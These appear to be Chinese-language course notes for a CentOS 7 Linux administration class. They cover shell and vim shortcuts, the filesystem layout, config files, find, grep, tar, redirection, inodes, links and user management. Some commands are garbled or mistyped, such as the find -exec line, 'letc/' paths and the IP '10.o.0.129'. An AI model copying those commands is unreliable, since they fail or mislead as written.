linux

软件包
yum install tree nmap dos2unix lrzsz nc lsof wget tcpdump htop iftop iotop sysstat nethogs -y
企业运维常用
yum install psmisc net-tools bash-completion vim-enhanced -y
[快捷键]
linux
移动光标快捷键
Ctrl+a光标回到命令行首*
Ctrl+e光标回到命令行尾*
Ctrl+方向右键向右按单词为单位移动
Ctrl+方向左键向左按单词为单位移动
Ctrl+f光标向右移动一个字符(同Alt+f和方向右键)
Ctrl+b光标向左移动一个字符(同Alt+f和方向左键)
tab 补全功能连续2下。
ctrl+u删除光标前内容
ctrl+k删除光标后内容
ctrl+c终止当前程序
ctrl+d 退出当前会话( logoutctrl+l清屏( clear)
ctrl+s 锁屏
ctrl+q恢复锁屏
ctrl+z暂停正在执行的程序
命令模式下 i a o s 进入输入模式
i 在光标所在字符前插入
a 在光标所在字符后插入
A 当前行尾
o 在光标所在行下面另起一新行插入
s 删除光标所在的字符并开始插入
命令模式下
. 重复刚才 的动作
u 撤销刚才的动作
ctrl + r 恢复刚才撤销动作
ctrl + u (up) 向上滚动半屏
ctrl + d (down) 向下滚动半屏
■移动光标的快捷命令
gg 跳到文件的第一行
G 跳到文件的最后一行
:行号 跳到文件第几行
$ 快速移动到行尾
^ 移动到一行开头
选择内容
ggvG
【yy】 复制光标所在的那一行
【nyy】 复制光标所在的向下n列
【y1G】 复制光标所在行到第一行的所有数据
【yG】 复制光标所在行到最后一行的所有数据
【y0】 复制光标所在的那个字符到该行行首的所有数据
【y$】 复制光标所在的那个字符到该行行尾的所有数据
1.pwd打印当前工作路径print work directory
2.cd切换目录 change directory
3.ls查看目录下的内容list directroy contents
ls -ld a(单个属性查看)
~ 表示当前用户家目录
. 表示当前用户所在目录 .. 表示当前用户所在目录de上级目录
- 表示上一次所在的目录
4.mkdir 创建目录 make directory
mkdir sut{1..10}(数字序列)
-p 递归创建 mkdir -p
相对路径和绝对路径
绝对路径: 从根开始,开始有一个/目录
ls /etc/sysconfig/ 地球亚洲中国北京昌平沙河白沙路父类。。。。老男孩教育77期 相对路径: root@oldboy老男孩教育#
cd Linux77期
[ root@oldboy oldboy] # tree -L 1/ bin -> usr/bin# /bin等同/usr/bin#普通用户二进制命令目录。 sbin -> usr/ sbin# / sbin/等同/usr/ sbin #root管理员使用的二进制命令目录 boot#内核程序及引导程序所在的目录,10OM dev#设备目录(光驱磁盘) etc#系统基础服务配置文件所在的目录( yum rpm安装的软件) home#普通用户的家目录(三间茅草房) root#管理员的家目录(皇宫) lib -> usr/lib#库文件所在目录 lib64 -> usr/ lib64#库文件所在目录 media#媒体光驱等挂载点 mnt# 临时的挂载点(u) opt#第三方程序目录 proc#虚拟的文件系统,内核和进程信息的目录。汽车仪表盘。汽车仪表盘:车况油耗跑了公里数速度 sys#虚拟的文件系统 tmp#临时目录,所有用户都可以进入这里做各种操作(黑客跳板目录),监控目录。 usr#c:/program file应用程序所在目录 var#数据变化的目录,日志文件存放目录。 开机自启配置文件cd /etc/profile.d/
重要配置文件:
/etc/sysconfig/network-scripts/ifcfg-eth0:网卡配置文件 [root@oldboy oldboy]# cat /etc/sysconfig/network-scripts/ifcfg-eth1 HWADDR=00 : 0C:29:c4:6F:D9 #MAC地址网卡的物理地址 TYPE=Ethernet #以太网 BOOTPROTO=none #<==启动协议,获取配置方式,有none|bootpldhcp三个选项。 IPADDR=10.o.0.129 #IP地址 PREFIX=24 #子网掩码 GATEWAY=10.0.0.254#网关 DNS1=223.5.5.5 #DNS1域名解析为IP。 DNS2=202.106.0.20 #DNS2域名解析为IP。 NAME=eth1#设备名 UUID=cf363dd6-Q5ce-37d3-8caa-242f64883a8f #唯一标识 ONBOOT=yes #网卡随着linux开启启动
letc/ hostname:主机名配置文件 查主机名: [ root@oldboy ~]# hostnameo ldboy [root@oldboy ~] # uname -n
修改主机名:
1.nmtui 2.hostnamectl set-hostname oldboy
3.vim /etc/ hostname
3. /etc/hosts:
系统本地的DNS解析文件(局域网域名和IP解析文件) 10.0.0.129oldboy 10.0.0.129oldboy www.oldboyedu.com www.baidu.com
内部测试,临时访问。服务器之间联系会用主机名的形式
4.etc/ fstab:配置开机设备自动挂载的文件 特殊知识点: linux设备直接插上去用不了。
#df -h#查看挂教结果
/ etcl fstab永久挂载。
/ dev / cdrom /mn tiso9660 defaults 0 0
5./etc/ rc.local:存放开机白启动程序命令的文件
默认不能用,必须给权限。 [ rootoldboy ~]# chmod +x /etc/rc.d/rc.local#给执行权限
6./etc/issue 开启前两行
[ root@oldboy ~] # >letc/ issue #清空内容
[ root@oldboy ~]# cat letc/issue
跑火车:
/etc/motd:配置用户登录系统之后显示提示内容的文件 [ rootoldboy ~]# echo "这是老男孩Linux77期" >/etc/motd [root@oldboy ~]# cat letc/ motd 这是老男孩Linux77期 用户:提醒自己。。提醒使用服务器人员。
/etc/redhat-release:声明Red Hat版本号和名称信息的文件 [root@oldboy ~]# cat /etc/redhat-release CentOS Linux release 7.8.2003 (Core) [root@oldboy ~]# uname -r 3.10.0-1127.el7.x86_64 [root@oldboy ~]# uname -n oldboy [root@oldboy ~]# uname -a Linux oldboy 3.10.0-1127.el7.x86_64 #1 SMP Tue Mar 31 23:36:51 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
/etc/sysctl.conf:Linux内核参数设置文件(系统优化)***** 配置完:sysctl -p生效,直接编辑完不生效
/etc/profile、/etc/bashrc 配置系统的环境变量/别名等的文件※※※ PS1
/usr目录的重要知识介绍 应用程序目录
1./usr/local/:编译安装软件默认的位置路径,c:\Program files。 2./usr/src:源代码目录
- 日志:计算机遇到各种问题,记录日志里,告诉管理员他们的情况。 /var目录下的路径知识 可变化的目录 /var/log/messages #linux系统日志文件,系统故障可以去看看。 /var/log/secure #安全日志(ssh日志记录到这里),监控日志。 /var/log/dmesg #记录硬件信息加载情况的日志文件(dmesg)
- /proc下的重要路径知识 进程和内核信息的文件 路径名称 路径说明 /proc/cpuinfo 当前cpu信息文件 /proc/meminfo 当前内存信息文件 /proc/loadavg 当前系统的平均负载文件 /proc/mounts 当前设备挂载列表信息文件 /proc/interrupts 当前系统中断信息文件
- /dev下目录知识 /dev/hd[a-t]IDE设备 /dev/sd[a-z] SCSI设备 /dev/null 无限数据接收设备,相当于黑洞 /dev/zero 无限零资源 /dev/cdrom 光驱
Linux系统中查询日志方法
登录日志last; 操作日志history; 启动信息和错误日志/var/log/message; 安全日志/var/log/secure; 邮件日志/var/log/maillog; 计划任务日志/var/log/cron; 用户登录注销系统启动等事件/var/log/wtmp
目录命令:
1)cp 复制目录 cp 选项 源 目标 -a :等于 “dpR” 参数组合,通常在复制目录时保留链接、文件属性,并复制目录下的所有内容。 -b:覆盖已存在的文件目标前将目标文件备份; -d :复制时保留符号链接。 -f :强行复制文件或目录,覆盖已经存在的目标文件而不给出提示。 -i :与-f选项相反,在覆盖目标文件之前给出提示,要求用户确认是否覆盖。 -l :不复制文件,只是生成源文件的硬链接文件。 -p :复制文件时保留源文件或目录的属性。 -r :递归复制目录,即复制该目录及其所有的子目录和文件。 -R :同 -r 选项参数。 -s:对源文件建立符号连接,而非复制文件; -S:在备份文件时,用指定的后缀“SUFFIX”代替文件的默认后缀; -u:同步复制源文件文件,只在源文件更新时或目标文件不存在时复制。 -v:详细显示命令执行的操作。 复制文件: [root@oldboy ~]# cp /etc/hosts /tmp/ [root@oldboy ~]# ls /tmp/
复制目录: [root@oldboy ~]# cp -r /etc /tmp/ [root@oldboy ~]# ls /tmp/
-t 把源和目标翻转
cp -t 目标 源 [root@oldboy ~]# cp -t /home/oldboy/ /etc/hosts [root@oldboy ~]# ls /home/oldboy/ ddasdf hosts
把当前目录下的dir1,移动到/tmp目录。 [root@oldboy ~]# mv dir1 /tmp/
练习: [root@oldboy ~]# ls a a.out c oldboy stu1 stu2 stu4 stu6 stu8 anaconda-ks.cfg b epel-7.repo oldboy_dir stu10 stu3 stu5 stu7 stu9 1)直接删,会提示 [root@oldboy ~]# rm a.out rm:是否删除普通空文件 "a.out"?y 2)强制删 [root@oldboy ~]# rm -f epel-7.repo [root@oldboy ~]# ls a b oldboy stu1 stu2 stu4 stu6 stu8 anaconda-ks.cfg c oldboy_dir stu10 stu3 stu5 stu7 stu9 3)直接删目录 提示 [root@oldboy ~]# rm -r oldboy rm:是否删除目录 "oldboy"?y 4)强制删 [root@oldboy ~]# rm -fr a [root@oldboy ~]# ls anaconda-ks.cfg stu1 stu2 stu4 stu6 stu8 oldboy_dir stu10 stu3 stu5 stu7 stu9 5)批量删 [root@oldboy ~]# rm -fr stu* 注意:*表示匹配所有 [root@oldboy ~]# ls anaconda-ks.cfg oldboy_dir
生产慎用: 1.用mv替代rm,把/tmp当做回收站 [root@oldboy ~]# touch a.txt b.txt [root@oldboy ~]# mv a.txt /tmp/ [root@oldboy ~]# ls anaconda-ks.cfg b.txt oldboy_dir 处理错了,移动回来 [root@oldboy ~]# mv /tmp/a.txt .移到当前目录 [root@oldboy ~]# ls anaconda-ks.cfg a.txt b.txt oldboy_dir 2.find+rm 提高删除的门槛。 命令复杂,多少天以前,多大的删。。什么类型的。 3.不要全路径删文件。
vim.命令模式
:set nu显示行号
: set nonu取消行号
G文件结尾 gg文件开头
$行尾
0行头
n
ngg n 为数字,移动到文件的第n行
H 光标移动到当前窗口最上方的那一行 M 光标移动到当前窗口中间的那一行 L 光标移动到当前窗口最下方的那一行
搜索和替换
/内容向下搜索,此时按n继续搜索,N反向继续搜索。
?内容向上搜索,此时按n继续搜索,N反向继续搜索。
:g/A/s//B/g 把符合A的内容全部替换为B,斜线为分隔符,可以用#等替代
:%s/A/B/g
把符合A的内容全部替换为B,如果A或B中有斜线,把分割的斜线换#或@
:n1,n2s/A/B/g n1、n2为数字,在第n1行和n2行间寻找A,用B替换
复制、粘贴删除
yy 复制当前行 nyy 复制从当前开始的n行 p 粘贴到光标的下一行 P 粘贴到光标的上一行 dd 册除当前行 ndd 删除从当前行开始的n行 X 删除光标后字符 x 删除光标前字符撤销 u 撤销 d1gg d1G 删除当前行至第一行 dG 删除当前行至最后一行 d0 删除当前光标文本至行首 d$ 删除当前光标文本至行尾 进入编辑模式命令 i 在当前光标所在处插入文字 A 在当前所在行的行尾最后一个字符处开始插入文字,和I相反 I 在当前所在行的行首第一个非空格符处开始插入文字,和A相反 o 在当前所在行的下一行处插入新的一行
grep命令
=grep 过滤内容,筛选内容== 三剑客之一,老三 按行输出 grep [选项] 内容 文件 --color-auto 过滤的内容显示颜色 过滤出含有root字符串的行 [root@oldboy ~]# grep root oldboy.txt 过滤出【不】含有root字符串的行
-v 取反
[root@oldboy ~]# grep -v root oldboy.txt 过滤出含有root字符串(含大写)的行
-i 不区分大小写
[root@oldboy ~]# grep -i root oldboy.txt rootx::0:0:root:/root:/bin/bash operato:rx:11:0:operator:/root:/sbin/nologin ROOT 491 I ROOT am oldboy.I am 30 同时过滤含有oldboy和root的行。
-E 同时过滤多个字符串
[root@oldboy ~]# grep -E "oldboy|root" oldboy.txt grep -E = egrep 扩展的grep,egrep [root@oldboy ~]# egrep "oldboy|root" oldboy.txt 了解参数
-o 只输出匹配的内容
[root@oldboy ~]# grep -o root oldboy.txt root 特殊注意:此处过滤的点代表任意一个字符。 [root@oldboy ~]# grep -n ".*" oldboy.txt ==cat -n oldboy.txt
-w 按单词过滤
oldboy和oldboy123不是一个东西了,oldboy123不会被过滤出来。 [root@oldboy ~]# grep -w oldboy oldboy.txt
touch 创建文件 touch file1 touche file1 file2 file3 touch file{1..100}
{1..100} 一个序列
[root@oldboy ~]# echo {1..10}
1 2 3 4 5 6 7 8 9 10
[root@oldboy ~]# echo
a b c d e f g h i j k l m n o p q r s t u v w x y z
[root@oldboy ~]# echo
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
seq输出数字序列
输出1-5
[root@oldboy ~]# seq 5
1
2
3
4
5
输出2-5
[root@oldboy ~]# seq 2 5
2
3
4
5
步长2,从2到10
[root@oldboy ~]# seq 2 2 10
2
4
6
8
10
-s 指定空格为分隔符
[root@oldboy ~]# seq -s " " 5
1 2 3 4 5
[root@oldboy ~]# echo {1..5}
1 2 3 4 5
-w 补齐位数
[root@oldboy ~]# seq -w -s " " 10
01 02 03 04 05 06 07 08 09 10
1.别名 alias 查看已有别名: [root@oldboy ~]# alias 如何设置别名 提高输入效率: alias net='cat /etc/sysconfig/network-scripts/ifcfg-eth0' 防止误删数据,提醒用户。 执行命令:【别名】优先于【命令】 如何能不使用别名? 1.命令全路径执行 [root@oldboy ~]# /bin/rm a 2.命令开头加反斜线 [root@oldboy ~]# \rm -f * 3.取消别名 [root@oldboy ~]# unalias ls [root@oldboy ~]# ls /etc
重定向
1、标准输出重定向,用数字1表示 2、标准错误输出重定向,用数字2表示 3、标准输入重定向,用数字0表示
1)标准输出(standard output)重定向:
.>或1>,数据流向就是朝右
例:echo oldboy >oldboy.txt ⑴输出oldboy ⑵清空oldboy.txt ⑶把oldboy字符串写入到oldboy.txt里 常用的清空文件命令: . >oldboy.txt cat oldboy.txt cat /dev/null>oldboy.txt 标准错误输出重定向 2> 接收执行命令的报错 作用:接收执行命令的报错 lss 2>oldgirl.txt lss 1>oldboy.txt 2>oldgirl.txt
练习题:
(1)用echo实现给oldboy.txt文件加入如下内容。
[root@oldboy ~]# cat oldboy.txt
oldgoy
oldgirl
littleboy
解答:
方法1:
[root@oldboy ~]# echo -e "oldboy\noldgirl\nlittleboy"
oldboy
oldgirl
littleboy
[root@oldboy ~]# echo -e "oldboy\noldgirl\nlittleboy">oldboy.txt
方法2:
echo 'oldboy
oldgirl'>a.txt
[root@oldboy ~]# cat a.txt
oldboy
oldgirl
方法3:大段内容非交互式编辑
cat >b.txt <<EOF
oldboy
oldgirl
littleboy
EOF #顶格
[root@oldboy ~]# cat b.txt
oldboy
oldgirl
littleboy
给seq.txt文件,增加5行,1..5
[root@oldboy ~]# cat seq.txt
1
2
3
4
5
===========
seq 5
seq 5>seq.txt
[root@oldboy ~]# seq 5 >seq.txt
[root@oldboy ~]# cat seq.txt
1
2
3
4
5
标准输入(standard input)重定向,0来表示 0<或< 数据流向朝左。
tr 按字符替换 [root@oldboy ~]# tr "old" "abc"<oldboy.txt abcbay abcgirb bittbebay [root@oldboy ~]# tr "a-g" "1-7"<oldboy.txt ol42oy ol47irl xargs (从标准输入接收数据) -n 分组 [root@oldboy ~]# xargs -n 2 <seq.txt 1 2 3 4 5 [root@oldboy ~]# xargs -n 4 <seq.txt 1 2 3 4 5 [root@oldboy ~]# xargs -n 5 <seq.txt 1 2 3 4 5 [root@oldboy ~]# echo {1..5} 1 2 3 4 5 标准【追加】输出重定向:
.>>或1>>,数据流向就是朝右,标准【追加】输出重定向:
[root@oldboy ~]# echo oldboy >>oldboy.txt [root@oldboy ~]# cat oldboy.txt oldboy oldgirl littleboy oldboy 解释: 1.输出oldboy 2.把oldboy追加到oldboy.txt结尾
标准错误【追加】输出重定向: 2>>,数据流向就是朝右,标准【追加】输出重定向:
标准输入追加重定向,0来表示 0<<或<< 数据流向朝左。
cat <<eof
ddd
fff
eof
cat >a.txt <<eof
ddd
fff
eof
[root@oldboy ~]# cat a.txt
ddd
fff
特殊情况:希望用一个文件同时收集错误和正确的信息。
echo oldboy >>oldboy.txt 2>>oldboy.txt
方法1:
[root@oldboy ~]# cho oldboy >>oldboy.txt 2>>oldboy.txt
方法2:常用
[root@oldboy ~]# cho oldboy &>>oldboy.txt
[root@oldboy ~]# cat oldboy.txt
方法3:网友常用
cho oldboy 1>>oldboy.txt 2>&1
别名永久生效 全局【环境变量】文件 /etc/profile /etc/bashrc 用户【环境变量】文件 ~/.bash_profile ~/.bashrc
======uniq 去重====
-c 计数
cat >test.txt <<EOF
10.0.0.1
10.0.0.11
10.0.0.2
10.0.0.8
10.0.0.16
10.0.0.20
EOF
uniq test.txt #相邻的相同行去重。
uniq -c test.txt #相邻的相同行去重并且计数。
[root@oldboy ~]# uniq -c test.txt
====sort 排序=========
[root@oldboy ~]# sort test.txt >u.txt #按数字顺序排序。
[root@oldboy ~]# uniq -c u.txt #整个文件实现了去重并且计数。
3 10.0.0.1
1 10.0.0.11
6 10.0.0.16
1 10.0.0.17
2 10.0.0.2
1 10.0.0.20
4 10.0.0.35
1 10.0.0.8
sort参数:
-n 按数字排序
-t 指定分隔符
-k 指定列
-r 倒序
[root@oldboy ~]# sort -rn -t. -k4 test.txt
#-t. 以.为分隔符
#-k4 取第4列(需要排序的数字列)
#-nr 数字,倒序排列。
sort -rn b.txt
查看文件属性: [root@oldboy ~]# ls -li 总用量 32 33583628 -rw-r--r--. 1 root root 184 5月 12 11:56 oldboy.txt 第1列,索引节点,形态是数字 第2列,首字符代表文件类型 中间9个字符,文件权限 . 和selinux(高级安全组件)相关符号 第3列,硬链接数 第4列,用户 第5列,用户组 第6列,文件大小(目录不是) 第7-9列,日期时间 第10列,文件名。
Linux文件类型: windows文件类型,根据扩展名来的。 .doc word文档 .mp4 .avi 视频 .ppt .md .txt
Linux下面不根据扩展名确定类型,但是依然会有扩展名,为了给人看。一眼看清楚。 系统不识别扩展名, 那么系统怎么确定文件类型呢?
ls -li 第2列,首字符代表文件类型 一切皆文件。
- 普通文件 .doc word文档 .mp4 .avi 视频.ppt .md .txt d 目录 directory l 软链接文件 link c 字符设备 b 块设备 s socket文件
- 普通文件 **** 白色
d 目录 directory 浅蓝色 l 软链接文件 link 快捷方式 [root@oldboy ~]# ls -l /bin lrwxrwxrwx. 1 root root 7 5月 7 09:21 /bin -> usr/bin [root@oldboy ~]# ln -s /etc/hosts /tmp/a.hosts [root@oldboy ~]# cat /tmp/a.hosts
c 字符设备 b 块设备**** [root@oldboy ~]# ls -l /dev/sd* brw-rw----. 1 root disk 8, 0 5月 10 20:11 /dev/sda brw-rw----. 1 root disk 8, 1 5月 10 20:11 /dev/sda1 brw-rw----. 1 root disk 8, 2 5月 10 20:11 /dev/sda2
s socket文件,进程通信才会用到 [root@oldboy ~]# ls -l /dev/log srw-rw-rw-. 1 root root 0 5月 10 20:11 /dev/log
查看文件类型:file [root@oldboy ~]# file /etc/hosts /etc/hosts: ASCII text [root@oldboy ~]# file /bin/ls [root@oldboy ~]# file /var/log/wtmp
wc 查看行数,字符数等 -l查看行数 -L查看字符数 实践: [root@oldboy ~]# wc -l /etc/hosts 5 /etc/hosts [root@oldboy ~]# echo oldboy|wc -L 6 查找命令: 1)which 查看二进制命令所在路径(从PATH环境变量路径里查找) [root@oldboy ~]# which ls alias ls='ls --color=auto' /usr/bin/ls [root@oldboy ~]# which cp alias cp='cp -i' /usr/bin/cp 特殊注意: [root@oldboy ~]# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin 1)分隔符为冒号: 2)路径都是命令。 2)whereis 查看文件及文件的帮助等的路径 -b 查看二进制命令所在路径 which [root@oldboy ~]# whereis -b ls ls: /usr/bin/ls [root@oldboy ~]# whereis ls ls: /usr/bin/ls /usr/share/man/man1/ls.1.gz
find 查找 *** -name 按名字查找 find 路径 选项1 【参数1】 选项2 【参数2】
(1)按名字查找:
[root@oldboy ~]# find / -name "hosts" sts
按名字模糊查找 表示所有
[root@oldboy ~]# find / -name "hots"
(2)按类型查找
-type
f d l c b s
去哪看? man find 搜/-type
-type c
File is of type c:
b block (buffered) special
c character (unbuffered) special
d directory
f regular file
l symbolic link;
s socket
查找目录
[root@oldboy ~]# find /root -type d
/root
/root/oldboy_dir
查找文件
[root@oldboy ~]# find /root -type f
/root/.bash_logout
/root/.bash_profile
组合查找:find 默认就是取交集(-a)and,并集(-o)or
例:查文件类型为文件,并且名字为hosts
find / -name "hosts" -a -type f
[root@oldboy ~]# find / -name "hosts" -type f
并集:查找名为hosts,或者类型为d
[root@oldboy ~]# find / -name "hosts" -o -type d -name "oldboy"
取反:!查找名字不是file1
[root@oldboy ~]# mkdir /data -p
[root@oldboy ~]# touch /data/file{1..3}
[root@oldboy ~]# find /data -name "file1"
/data/file1
[root@oldboy ~]# find /data ! -name "file1"
/data
/data/file2
/data/file3
按大小查找
-size +1M #大于1M
-size 1M #1M
-size -1M #小于1M
其他单位k G
find ./ -size -10M
-mtime按修改时间杳栈★
-atime按【访问】时间查找
-ctime按【改变】时间查找
-mtime +7 #7天以前的
-mtime 7#第7天
-mtime -7 #最近7天
find . -mtime 7
【对找到的东西进行处理】-exec执行动作 方法一 find /-name "oldboy" I-exec rm -f ;
方法二命令行:
$(命令)或`命令,拼路径拼命令
rm -f $ (find /data -name "file*" -type f -mtime +7)
rm -f `find /data -name "file*" -type f -mtime -7`
方法三 xargs
-i 放到{}处理 可以让后面的{}接收搜索到的内容。----默认加i
find /data -name "file*" -mtime +7| xargs -i rm -f { }
find /data -name "file*" -mtime +7|xargs rm -f #简写
-n分组
[ root@oldboy data] # seq 10 >oldboy.txt
[ root@oldboy data] # xargs -n 3 <oldboy.txt
! for 调用最近以for开头执行的命令
tar 打包压缩
-zcvf 打包组合 zcf z 压缩(gzip压缩) c 创建 v 显示过程 f 针对文件
x 解压 -C 指定路径解压 tar zcf 【压缩包的名字.tar.gz】 【要打包的东西】 装东西的筐 苹果 练习1:把/etc/目录打包到/opt下面。 ls -d /etc #检查有没有要打包的目录 cd / #切换到打包目录的上一级 tar zcf /opt/etc.tar.gz ./etc 【查看包里内容】 t 查看包里内容 tar tf 包名 [root@oldboy usr]# tar tf /tmp/local.tar.gz 【解包】 组合zxvf,缩写xf x 解压 cd /opt tar zxvf etc.tar.gz #解压到了当前目录 tar zxf etc.tar.gz tar xf etc.tar.gz -C 指定路径解压 [root@oldboy opt]# tar xf etc.tar.gz -C /home/oldboy/ [root@oldboy opt]# ls /home/oldboy/
排除打包--exclude=
tar zcvf /tmp/pai.tar.gz ./oldboy/ --exclude=file1
命令 参数 包名 目录 排除的文件
排除file1
[root@oldboy /]# tar zcvf /tmp/pai.tar.gz ./oldboy/ --exclude=file1
./oldboy/
./oldboy/file2
./oldboy/file3
排除file1到file3 ###--exclude=file{1..3}
[root@oldboy /]# tar zcvf /tmp/pai.tar.gz ./oldboy/ --exclude=file{1..3}
指定要排除的文件### --exclude=file{1,3,5}
[root@oldboy /]# tar zcvf /tmp/pai.tar.gz ./oldboy/ --exclude=file{1,3,5}
###--exclude=file1 --exclude=file2
[root@oldboy /]# tar zcvf /tmp/pai.tar.gz ./oldboy/ --exclude=file1 --exclude=file2
从文件中排除打包--exclude-from(-X)
建立排除的文件paichu.log,内容就是排除的文件名
cat >paichu.log<<EOF
file1
file5
EOF
[root@oldboy /]# cat paichu.log
file1
file5
[root@oldboy /]# tar zcvfX /tmp/pai.tar.gz paichu.log ./oldboy/
./oldboy/
./oldboy/file2
./oldboy/file3
./oldboy/file4
tar zcvfX /tmp/pai.tar.gz paichu.log ./oldboy/
存储排除文件名的文件
-h 打包软链接 /etc/rc.local是软链接文件,指向真实路径/etc/rc.d/rc.local 默认打包的时候,只打包了软链接文件。 tar zcvf /backup/rc.local_1.tar.gz /etc/rc.local 【而加上-h打包,可以打包软链接对应的真实文件】 [root@oldboy etc]# tar zcvfh /backup/rc.local_1.tar.gz /etc/rc.local 日期 时间命令 date,别和data搞混这是数据。 date -s "2030/5/14" #修改日期 date -s "2030/5/14 23:45:12" #修改时间 clock -w #写到bios永久生效。 CentOS6中,默认使用ntpd时间服务 Centos7中,默认使用chrony时间服务
当下时间,特定格式时间显示
[root@oldboy ~]# date +%F
2030-05-15
[root@oldboy ~]# date +%Y
2030
[root@oldboy ~]# date +%m
05
[root@oldboy ~]# date +%d
15
[root@oldboy ~]# date +%Y-%m-%d
2030-05-15
[root@oldboy ~]# date +%H
00
[root@oldboy ~]# date +%M
07
[root@oldboy ~]# date +%S
31
[root@oldboy ~]# date +%H:%M:%S
00:07:51
[root@oldboy ~]# date +%Y-%m-%d\ %H:%M:%S
2030-05-15 00:08:16
[root@oldboy ~]# date +%Y-%m-%d %H:%M:%S #空格要转义,否则报错。
date: 额外的操作数 "%H:%M:%S"
Try 'date --help' for more information.
[root@oldboy ~]# date +%F\ %T
2030-05-15 00:09:08
-d显示时间
过去的时间(-表示过去)
未来的时间(+表示未来)
date +%F -d "+3dav"
inode是在磁盘格式化,创建文件系统的时候产生的。 Linux文件系统ext4,xfs,windows文件系统,ntfs,fat32 创建文件系统的时候就会生成inode和block. inode和block都是磁盘空间的组成。 元数据就要放在inode里。 真正数据就放在block里。 .inode的特点? 1)是文件的唯一标识(身份证)。 2)大小256字节。 3)存放文件属性信息及指向文件所在位置信息。 4)创建文件的时候就分配inode。 5)一个文件有且只有一个inode(分区或磁盘内)。 6)多个文件有相同的inode,是同一个文件的不同文件名。 这样的文件被称为硬链接文件。
分区在格式化的时候inode多,还是block多?为什么?
解答:block多
工作中磁盘里的文件大部分都是大于4K,所以格式化时候,系统自动安排适合业务场景的分配模式。
一个文件至少是一个inode,消耗inode是基本就是一对一。消耗block是1对多
实践:
环境准备,命令集合如下:
mkdir -p /app/logs #<==创建用于挂载的目录。
dd if=/dev/zero of=/dev/sdc bs=8K count=100 #<==创建指定大小的文件。
mkfs.ext4 /dev/sdc #<==格式化。
mount -o loop /dev/sdc /app/logs #<==挂载。
df -h #<==检查挂载结果。
什么情况会导致inode满?
1)小文件特别多的时候。
2)多数情况下是基于日常Linux定时任务crond配置不当导致的。
[root@oldboy ~]# mkfs.ext4 /dev/sdc #<==格式化。
mke2fs 1.42.9 (28-Dec-2013)
/dev/sdc is not a block special device.
Discarding device blocks: 完成
文件系统标签=
OS type: Linux
块大小=1024 (log=0)
分块大小=1024 (log=0)
Stride=0 blocks, Stripe width=0 blocks
===============================
104 inodes, 800 blocks
===============================
链接
1.链接可分为两种:一种为硬链接(Hard Link),另一种为软链接(Soft link)。 2.命令是ln 如果使用ln -s创建链接则为软链接,软链接文件的文件类型为l(字母L)。 创建硬链接语法:“ln 原始文件 目标文件”(注意空格)。 创建软链接语法:“ln -s 原始文件 目标文件”(目标文件不能事先存在)。
1.什么是硬链接? 1)具有【相同索引节点号】的文件,互相称之为硬链接文件。 2)具有【相同索引节点号】的文件,指向同一个文件实体。
2.硬链接文件作用 用于备份,防止误删文件。
3.找一找互为硬链接的文件。 . 和当前目录互为硬链接文件,点和当前目录是一个目录?可以 .. 和上一级目录互为硬链接文件。 特征:索引节点相同。 [root@oldboy ~]# ls -lid . ~ ./ /root 33574977 dr-xr-x---. 5 root root 4096 5月 13 2021 . 33574977 dr-xr-x---. 5 root root 4096 5月 13 2021 ./ 33574977 dr-xr-x---. 5 root root 4096 5月 13 2021 /root 33574977 dr-xr-x---. 5 root root 4096 5月 13 2021 /root 结论: 1.只要有一个硬连接数,数据就不会丢。 2.把全部的硬链接删除,数据就丢失了。 创硬链接只能针对文件,不能针对目录。 软链接: 1.什么是软链接? 软链接就是快捷方式,指向源文件的位置。 为什么需要软链接?作用 执行命令“ln -s 源文件 软链接文件”,即可完成创建软链接(目标不能存在) 软链接文件不仅可以针对文件,更可以针对目录(企业中常用)。 1)复杂的路径简单化。 [root@oldboy oldboy]# ln -s /etc/sysconfig/network-scripts/ifcfg-eth0 ~/oldboy 2)企业作用:编译安装的软件升级时候 nginx web服务 安装目录:/application/nginx-1.19.1 使用方面:/application/nginx #简单方便,程序软件配置的都是这个。 升级版本:/application/nginx-1.20.2 #正式使用。。 升级操作: rm -f /application/nginx ln -s /application/nginx-1.20.2 /application/nginx
用户管理
普通用户如何管理系统? a.切换root,su - oldboy #角色改变,由普通用户变成了root。 农民起义,当皇帝。 b.不切换到root,可以使用root的权限去做事,sudo useradd oldboy 赋予普通用户一部分权限。
3)虚拟用户
多数情况装系统就存在的,不能登录的。
UID 1-499
登录shell,/sbin/nologin
文件创建时就要有对应的用户和组。
进程启动时就要有对应的用户和组。
虚拟用户存在的目的就是满足进程启动时对用户和组的要求。
=用户相关的配置文件=
直接相关的有4个
/etc/passwd ##用户主配置文件,用户的各种属性(UID,GID,家目录,登录SHELL)
/etc/shadow ##用户密码文件,存放密码及密码的属性(失效时间,修改密码时间等)。
/etc/group ##组文件,存放用户组及属性。
/etc/gshadow ##用户组的密码文件(废弃)
和创建用户相关的有3个
/etc/default/useradd ##创建用户命令useradd的配置文件
/etc/skel ##创建用户环境变量原始文件存放地。
/etc/login.defs ##创建用户系统配置,对应文件。
=和用户相关的命令=
useradd 添加用户
usermod 修改用户
userdel 删除用户
useradd命令;
1)添加用户
[root@oldboy ~]# useradd test1
查看:
[root@oldboy ~]# id test1 #查看用户
uid=1001(test1) gid=1001(test1) 组=1001(test1)
2)指定uid添加用户(-u)
[root@oldboy ~]# useradd -u 5000 test2 #创建test2用户,并指定uid为5000
3)指定用户的登录shell(-s)
[root@oldboy ~]# useradd -s /sbin/nologin test3 #创建test3用户,禁止登录
[root@oldboy ~]# su - test3
This account is currently not available.
企业应用:配置网络服务时候,编译安装需要,创建虚拟用户。
添加用户指定属于其他用户组(-g)
[root@oldboy ~]# useradd test5 -g root #添加用户属于root组。
[root@oldboy ~]# id test5
uid=5004(test5) gid=0(root) 组=0(root)
添加用户设置过期时间(-e)
企业应用:给非运维人员设置用户登录的固定期限,到期了自动无法登陆。
[root@oldboy ~]# date
2030年 05月 18日 星期六 12:07:59 CST
[root@oldboy ~]# useradd -e "2030/05/30" test6
[root@oldboy ~]# passwd test6
[root@oldboy ~]# date -s "2030/06/01"
2030年 06月 01日 星期六 00:00:00 CST
[root@oldboy ~]# ssh test6@127.0.0.1 #SSH客户端类似xshell。
test6@127.0.0.1's password:
Your account has expired; please contact your system administrator
Authentication failed.
添加用户不创建家目录(-M)
配合创建虚拟用户
useradd -s /sbin/nologin test3 -M
总结:
-u 指定UID
-g 指定属于的组
-e 指定过期时间
-d 指定家目录
-M 不创建家目录
-s 指定登录的解释器
usermod 修改用户
-u 指定UID
-g 指定属于的组
